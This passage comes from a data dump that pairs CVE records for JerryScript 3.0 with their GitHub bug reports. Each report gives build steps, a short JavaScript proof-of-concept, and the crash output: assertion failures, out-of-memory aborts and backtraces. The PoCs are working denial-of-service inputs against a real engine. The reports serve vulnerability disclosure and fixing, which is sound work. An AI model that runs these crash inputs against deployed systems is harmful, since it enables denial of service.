python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
```javascript
// poc.js
class v0 { v1 = class v2 { } }
```
###### Execution steps & Output
```sh
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'context_p->scope_stack_size == PARSER_MAXIMUM_DEPTH_OF_SCOPE_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class):1068.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
Credits:
@Ye0nny, @EJueon of the seclab-yonsei. | Assertion 'context_p->scope_stack_size == PARSER_MAXIMUM_DEPTH_OF_SCOPE_STACK' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class):1068. | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5061/comments | 0 | 2023-04-06T10:46:13Z | 2023-04-06T10:46:13Z | https://github.com/jerryscript-project/jerryscript/issues/5061 | 1,657,176,424 | 5,061 |
CVE-2023-31914 | 2023-05-12T14:15:09.807 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain out-of-memory issue in malloc. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5071"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5071 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
<details><summary>testcase</summary>
<p>
```javascript
var r = new Int32Array ( 8 ) . sort ( ) ; r = new SharedArrayBuffer ( 2147483648 ) . slice ( 8 ) ; r = new Int32Array ( 128 ) . subarray ( 64 ) . sort ( d ) ; a = new Int32Array . set ( r ) ; var a ; r = r . toString ( r ) ; r . constructor = a ; set ( r ) ; assert ( a === r . toString ( 32 ) ) ;
```
</p>
</details>
```javascript
// poc1.js
var r = new SharedArrayBuffer ( 2147483648 ) . slice () ;
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc1.js
=================================================================
==2169015==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x80000000 bytes
#0 0x80efe65 in malloc (./jerryscript/build/bin/jerry+0x80efe65)
#1 0x825f11c in jmem_heap_alloc ./jerryscript/jerry-core/jmem/jmem-heap.c:254:10
#2 0x825f11c in jmem_heap_gc_and_alloc_block ./jerryscript/jerry-core/jmem/jmem-heap.c:291:24
#3 0x81d5463 in ecma_arraybuffer_allocate_buffer ./jerryscript/jerry-core/ecma/operations/ecma-arraybuffer-object.c:169:28
#4 0x81d7ae3 in ecma_arraybuffer_allocate_buffer_throw ./jerryscript/jerry-core/ecma/operations/ecma-arraybuffer-object.c:195:10
#5 0x81d7ae3 in ecma_builtin_arraybuffer_slice ./jerryscript/jerry-core/ecma/operations/ecma-arraybuffer-object.c:500:7
#6 0x8362abc in ecma_builtin_shared_arraybuffer_prototype_object_slice ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-shared-arraybuffer-prototype.c:104:10
#7 0x8362abc in ecma_builtin_shared_arraybuffer_prototype_dispatch_routine ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-shared-arraybuffer-prototype.inc.h:39:1
#8 0x81b94a4 in ecma_builtin_dispatch_routine ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460:10
#9 0x81b94a4 in ecma_builtin_dispatch_call ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489:12
#10 0x81fb6b7 in ecma_op_function_call_native_built_in ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217:5
#11 0x81fa81c in ecma_op_function_call ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411:16
#12 0x81fa5ce in ecma_op_function_validated_call ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1371:10
#13 0x82d7630 in opfunc_call ./jerryscript/jerry-core/vm/vm.c:758:5
#14 0x82d7630 in vm_execute ./jerryscript/jerry-core/vm/vm.c:5217:9
#15 0x82d4f61 in vm_run ./jerryscript/jerry-core/vm/vm.c:5312:10
#16 0x82d4c38 in vm_run_global ./jerryscript/jerry-core/vm/vm.c:286:25
#17 0x812a4e4 in jerry_run ./jerryscript/jerry-core/api/jerryscript.c:548:24
#18 0x83eac3e in jerryx_source_exec_script ./jerryscript/jerry-ext/util/sources.c:68:14
#19 0x812162c in main ./jerryscript/jerry-main/main-desktop.c:156:20
#20 0xf7be5ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
==2169015==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (./jerryscript/build/bin/jerry+0x80efe65) in malloc
==2169015==ABORTING
```
---
###### Test case+
<details><summary>testcase</summary>
<p>
```javascript
var a = " 32 " ; var e = 4 ; var a = new ArrayBuffer ( 2147483648 , t ) ; Infinity ; var a = new Uint32Array ( a , e ) ; a === e ; new Int32Array ( a , e ) ; a <= e ; a = new Uint8Array ( a ) ; a = new Uint8ClampedArray ( a , e , a ) !== e ; a < e ; a >= e ; a <= e ; 0 == e !== null ; a != e ; a !== e ; false == 0 ; false == undefined === 0 ; var t = a . t ; " " === false ; " " == 0 ; " " === 0 ; false == undefined ; 0 == null ;
```
</p>
</details>
```javascript
// poc2.js
var e = 4 ; var a = new ArrayBuffer ( 2147483648 ) ; var a = new Uint32Array ( a , e ) ; new Int32Array ( a , e ) ;
```
###### Execution steps & Output+
```
$ ./jerryscript/build/bin/jerry poc2.js
=================================================================
==2170063==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x7ffffffc bytes
#0 0x80efe65 in malloc (./jerryscript/build/bin/jerry+0x80efe65)
#1 0x825f11c in jmem_heap_alloc ./jerryscript/jerry-core/jmem/jmem-heap.c:254:10
#2 0x825f11c in jmem_heap_gc_and_alloc_block ./jerryscript/jerry-core/jmem/jmem-heap.c:291:24
#3 0x81d5463 in ecma_arraybuffer_allocate_buffer ./jerryscript/jerry-core/ecma/operations/ecma-arraybuffer-object.c:169:28
#4 0x82583e0 in ecma_typedarray_create_object_with_typedarray ./jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:913:7
#5 0x82583e0 in ecma_op_create_typedarray ./jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:1679:12
#6 0x81bad21 in ecma_typedarray_helper_dispatch_construct ./jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-helpers.c:60:22
#7 0x81ba8f4 in ecma_builtin_int32array_dispatch_construct ./jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-int32array.c:68:10
#8 0x81b99ce in ecma_builtin_dispatch_construct ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1518:10
#9 0x81fc476 in ecma_op_function_construct_built_in ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1537:28
#10 0x81fc476 in ecma_op_function_construct ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1717:14
#11 0x82d7255 in opfunc_construct ./jerryscript/jerry-core/vm/vm.c:840:7
#12 0x82d7255 in vm_execute ./jerryscript/jerry-core/vm/vm.c:5236:9
#13 0x82d4f61 in vm_run ./jerryscript/jerry-core/vm/vm.c:5312:10
#14 0x82d4c38 in vm_run_global ./jerryscript/jerry-core/vm/vm.c:286:25
#15 0x812a4e4 in jerry_run ./jerryscript/jerry-core/api/jerryscript.c:548:24
#16 0x83eac3e in jerryx_source_exec_script ./jerryscript/jerry-ext/util/sources.c:68:14
#17 0x812162c in main ./jerryscript/jerry-main/main-desktop.c:156:20
#18 0xf7c77ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
==2170063==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (./jerryscript/build/bin/jerry+0x80efe65) in malloc
==2170063==ABORTING
```
Credits:
@Ye0nny, @EJueon of the seclab-yonsei.
| AddressSanitizer: allocator is out of memory trying to allocate | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5071/comments | 0 | 2023-04-19T11:36:46Z | 2023-04-19T11:36:46Z | https://github.com/jerryscript-project/jerryscript/issues/5071 | 1,674,723,917 | 5,071 |
CVE-2023-31916 | 2023-05-12T14:15:09.847 | Jerryscript 3.0 (commit 1a2c047) was discovered to contain an Assertion Failure via the jmem_heap_finalize at jerry-core/jmem/jmem-heap.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5062"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5062 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/1a2c04763aba49f52b1537acd3730098c873511c
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
```javascript
// poc.js
( async ( ) => { for await ( const b of n ) { continue ;
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
^
Unhandled exception: SyntaxError: Unexpected end of input [poc.js:2:1]
ICE: Assertion 'JERRY_CONTEXT (jmem_heap_allocated_size) == 0' failed at jerryscript/jerry-core/jmem/jmem-heap.c(jmem_heap_finalize):108.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
###### Backtrace
```
#0 0xf7fcfd99 in __kernel_vsyscall ()
#1 0xf7ca4276 in raise () from /lib32/libc.so.6
#2 0xf7c8c3f7 in abort () from /lib32/libc.so.6
#3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at jerryscript/jerry-port/common/jerry-port-process.c:29
#4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at jerryscript/jerry-core/jrt/jrt-fatals.c:63
#5 0x08260d64 in jerry_assert_fail (assertion=0x84351c0 <str> "JERRY_CONTEXT (jmem_heap_allocated_size) == 0", file=0x8435220 <str> "jerryscript/jerry-core/jmem/jmem-heap.c", function=0x84352a0 <__func__.jmem_heap_finalize> "jmem_heap_finalize", line=108) at jerryscript/jerry-core/jrt/jrt-fatals.c:83
#6 0x0825ef5f in jmem_heap_finalize () at jerryscript/jerry-core/jmem/jmem-heap.c:108
#7 0x0825eab1 in jmem_finalize () at jerryscript/jerry-core/jmem/jmem-allocator.c:171
#8 0x08128c76 in jerry_cleanup () at jerryscript/jerry-core/api/jerryscript.c:240
#9 0x08122416 in main (argc=<optimized out>, argv=<optimized out>) at jerryscript/jerry-main/main-desktop.c:264
```
Credits:
@Ye0nny, @EJueon of the seclab-yonsei.
| Assertion 'JERRY_CONTEXT (jmem_heap_allocated_size) == 0' failed at jerryscript/jerry-core/jmem/jmem-heap.c(jmem_heap_finalize):108. | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5062/comments | 0 | 2023-04-06T13:12:15Z | 2023-04-06T13:12:15Z | https://github.com/jerryscript-project/jerryscript/issues/5062 | 1,657,404,755 | 5,062 |
CVE-2023-31918 | 2023-05-12T14:15:09.890 | Jerryscript 3.0 (commit 1a2c047) was discovered to contain an Assertion Failure via the parser_parse_function_arguments at jerry-core/parser/js/js-parser.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5064"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5064 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/1a2c04763aba49f52b1537acd3730098c873511c
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
```javascript
// poc.js
class C { async#* method (
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at jerryscript/jerry-core/parser/js/js-parser.c(parser_parse_function_arguments):1587.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
###### Backtrace
```
#0 0xf7fcfd99 in __kernel_vsyscall ()
#1 0xf7ca4276 in raise () from /lib32/libc.so.6
#2 0xf7c8c3f7 in abort () from /lib32/libc.so.6
#3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at jerryscript/jerry-port/common/jerry-port-process.c:29
#4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at jerryscript/jerry-core/jrt/jrt-fatals.c:63
#5 0x08260d64 in jerry_assert_fail (assertion=0x84433e0 <str> "context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION",
file=0x8442ec0 <str> "jerryscript/jerry-core/parser/js/js-parser.c",
function=0x8443440 <__func__.parser_parse_function_arguments> "parser_parse_function_arguments", line=1587)
at jerryscript/jerry-core/jrt/jrt-fatals.c:83
#6 0x0827592c in parser_parse_function_arguments (context_p=0xffffcd30, end_type=<optimized out>)
at jerryscript/jerry-core/parser/js/js-parser.c:1587
#7 0x0827240a in parser_parse_function (context_p=<optimized out>, status_flags=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser.c:2685
#8 0x08399b84 in lexer_construct_function_object (context_p=0xffffcd30, extra_status_flags=34717702)
at jerryscript/jerry-core/parser/js/js-lexer.c:2695
#9 0x083a30d3 in parser_parse_class_body (context_p=<optimized out>, opts=<optimized out>, class_name_index=0)
at jerryscript/jerry-core/parser/js/js-parser-expr.c:908
#10 parser_parse_class (context_p=<optimized out>, is_statement=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser-expr.c:1110
#11 0x083c9959 in parser_parse_statements (context_p=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser-statm.c:2787
#12 0x08284a26 in parser_parse_source (source_p=0xffffd030, parse_opts=<optimized out>, options_p=0xffffd100)
at jerryscript/jerry-core/parser/js/js-parser.c:2280
#13 0x08282c70 in parser_parse_script (source_p=0xffffd030, parse_opts=0, options_p=0xffffd100) at jerryscript/jerry-core/parser/js/js-parser.c:3326
#14 0x08129a7d in jerry_parse_common (source_p=0xffffd030, options_p=<optimized out>, parse_opts=0) at jerryscript/jerry-core/api/jerryscript.c:412
#15 0x08129698 in jerry_parse (source_p=<optimized out>, source_size=<optimized out>, options_p=<optimized out>)
at jerryscript/jerry-core/api/jerryscript.c:480
#16 0x083ea952 in jerryx_source_parse_script (path_p=<optimized out>) at jerryscript/jerry-ext/util/sources.c:52
#17 0x083eac12 in jerryx_source_exec_script (path_p=0xffffd5e0 "poc.js") at jerryscript/jerry-ext/util/sources.c:63
#18 0x0812162d in main (argc=<optimized out>, argv=<optimized out>) at jerryscript/jerry-main/main-desktop.c:156
```
Credits:
@Ye0nny, @EJueon of the seclab-yonsei.
| Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at jerryscript/jerry-core/parser/js/js-parser.c(parser_parse_function_arguments) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5064/comments | 0 | 2023-04-06T14:02:51Z | 2023-04-06T14:02:51Z | https://github.com/jerryscript-project/jerryscript/issues/5064 | 1,657,488,796 | 5,064 |
CVE-2023-31919 | 2023-05-12T14:15:09.927 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the jcontext_raise_exception at jerry-core/jcontext/jcontext.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5069"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5069 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: 05dbbd13[](05dbbd134c3b9e2482998f267857dd3722001cd7)
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
``` JavaScript
// poc.js
var t = Function ( ) ;
t [ Symbol . species ] = Object ;
var e = new Proxy ( { constructor : t } , { set : function ( ) { } } ) ;
RegExp . prototype [ Symbol . matchAll ] . call ( e ) ;
```
###### Execution steps & Output
```sh
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion '!jcontext_has_pending_exception ()' failed at /jerryscript/jerry-core/jcontext/jcontext.c(jcontext_raise_exception):88.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted (core dumped)
```
###### Backtrace
```
(gdb) #0 0xf7f40d99 in __kernel_vsyscall ()
#1 0xf7c15276 in raise () from /lib32/libc.so.6
#2 0xf7bfd3f7 in abort () from /lib32/libc.so.6
#3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION)
at /jerryscript/jerry-port/common/jerry-port-process.c:29
#4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION)
at /jerryscript/jerry-core/jrt/jrt-fatals.c:63
#5 0x08260d64 in jerry_assert_fail (
assertion=0x8434bc0 <str> "!jcontext_has_pending_exception ()",
file=0x8434b00 <str> "/jerryscript/jerry-core/jcontext/jcontext.c",
function=0x8434c20 <__func__.jcontext_raise_exception> "jcontext_raise_exception", line=88)
at /jerryscript/jerry-core/jrt/jrt-fatals.c:83
#6 0x0825e7b0 in jcontext_raise_exception (error=4115661203)
at /jerryscript/jerry-core/jcontext/jcontext.c:88
#7 0x081f52e5 in ecma_raise_standard_error (error_type=JERRY_ERROR_SYNTAX, [0/1762]
msg=ECMA_ERR_INVALID_REGEXP_FLAGS) at /jerryscript/jerry-core/ecma/operations/ecma-exceptions.c:315#8 0x081f5a91 in ecma_raise_syntax_error (msg=ECMA_ERR_INVALID_REGEXP_FLAGS)
at /jerryscript/jerry-core/ecma/operations/ecma-exceptions.c:456
#9 0x08234ac7 in ecma_regexp_parse_flags (flags_str_p=<optimized out>,
flags_p=<optimized out>)
at /jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:115
#10 0x0835e0d2 in ecma_builtin_regexp_prototype_match_all (
regexp_obj_p=0xffcd35c0, string_arg=<optimized out>)
at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:504
#11 ecma_builtin_regexp_prototype_dispatch_routine (
builtin_routine_id=<optimized out>, this_arg=<optimized out>,
arguments_list_p=<optimized out>, arguments_number=<optimized out>)
at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:598
#12 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>,
this_arg_value=<optimized out>, arguments_list_p=0xffcd3690,
arguments_list_len=<optimized out>)
at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
#13 ecma_builtin_dispatch_call (obj_p=<optimized out>,
this_arg_value=<optimized out>, arguments_list_p=<optimized out>,
arguments_list_len=<optimized out>)
at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
#14 0x081fb6b8 in ecma_op_function_call_native_built_in (
func_obj_p=0xf55004c0, this_arg_value=4115662259,
arguments_list_p=0xffcd38d4, arguments_list_len=0)
at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
#15 0x081fa81d in ecma_op_function_call (func_obj_p=0xf55004c0,
this_arg_value=4115662259, arguments_list_p=0xffcd38d4,
arguments_list_len=0)
at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
#16 0x0833172e in ecma_builtin_function_prototype_object_call (
func_obj_p=0xf55004c0, arguments_list_p=0xffcd38d0,
arguments_number=<optimized out>)
at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-function-prototype.c:288
#17 ecma_builtin_function_prototype_dispatch_routine (
builtin_routine_id=<optimized out>, this_arg=<optimized out>,
arguments_list_p=<optimized out>, arguments_number=<optimized out>)
at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-function-prototype.c:529
#18 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>,
this_arg_value=<optimized out>, arguments_list_p=0xffcd38d0,
arguments_list_len=<optimized out>)
at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
#19 ecma_builtin_dispatch_call (obj_p=<optimized out>,
this_arg_value=<optimized out>, arguments_list_p=<optimized out>,
arguments_list_len=<optimized out>)
at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
#20 0x081fb6b8 in ecma_op_function_call_native_built_in (
func_obj_p=0xf5500460, this_arg_value=4115662019,
arguments_list_p=0xffcd3af4, arguments_list_len=1)
at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
#21 0x081fa81d in ecma_op_function_call (func_obj_p=0xf5500460,
this_arg_value=4115662019, arguments_list_p=0xffcd3af4,
arguments_list_len=1)
at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
#22 0x081fa5cf in ecma_op_function_validated_call (callee=4115661923,
this_arg_value=4115662019, arguments_list_p=0xffcd3af4,
arguments_list_len=1)
at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1371
#23 0x082d7631 in opfunc_call (frame_ctx_p=<optimized out>)
at /jerryscript/jerry-core/vm/vm.c:758
#24 vm_execute (frame_ctx_p=0xffcd3ac0)
at /jerryscript/jerry-core/vm/vm.c:5217
#25 0x082d4f62 in vm_run (shared_p=0xffcd3bb0, this_binding_value=4119870595,
lex_env_p=0xf57007b0)
at /jerryscript/jerry-core/vm/vm.c:5312
#26 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>,
function_object_p=<optimized out>)
at /jerryscript/jerry-core/vm/vm.c:286
#27 0x0812a4e5 in jerry_run (script=4115663075)
at /jerryscript/jerry-core/api/jerryscript.c:548
#28 0x083eac3f in jerryx_source_exec_script (path_p=0xffcd5235 "test.js")
at /jerryscript/jerry-ext/util/sources.c:68
#29 0x0812162d in main (argc=<optimized out>, argv=<optimized out>)
at /jerryscript/jerry-main/main-desktop.c:156
(gdb) quit
```
credits: @EJueon, @Ye0nny of the seclab-yonsei. | Assertion '!jcontext_has_pending_exception ()' failed at /jerryscript/jerry-core/jcontext/jcontext.c(jcontext_raise_exception):88. | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5069/comments | 0 | 2023-04-16T13:13:26Z | 2023-04-16T13:13:26Z | https://github.com/jerryscript-project/jerryscript/issues/5069 | 1,669,965,859 | 5,069 |
CVE-2023-31920 | 2023-05-12T14:15:09.963 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the vm_loop at jerry-core/vm/vm.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5070"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5070 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: 05dbbd13[](05dbbd134c3b9e2482998f267857dd3722001cd7)
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
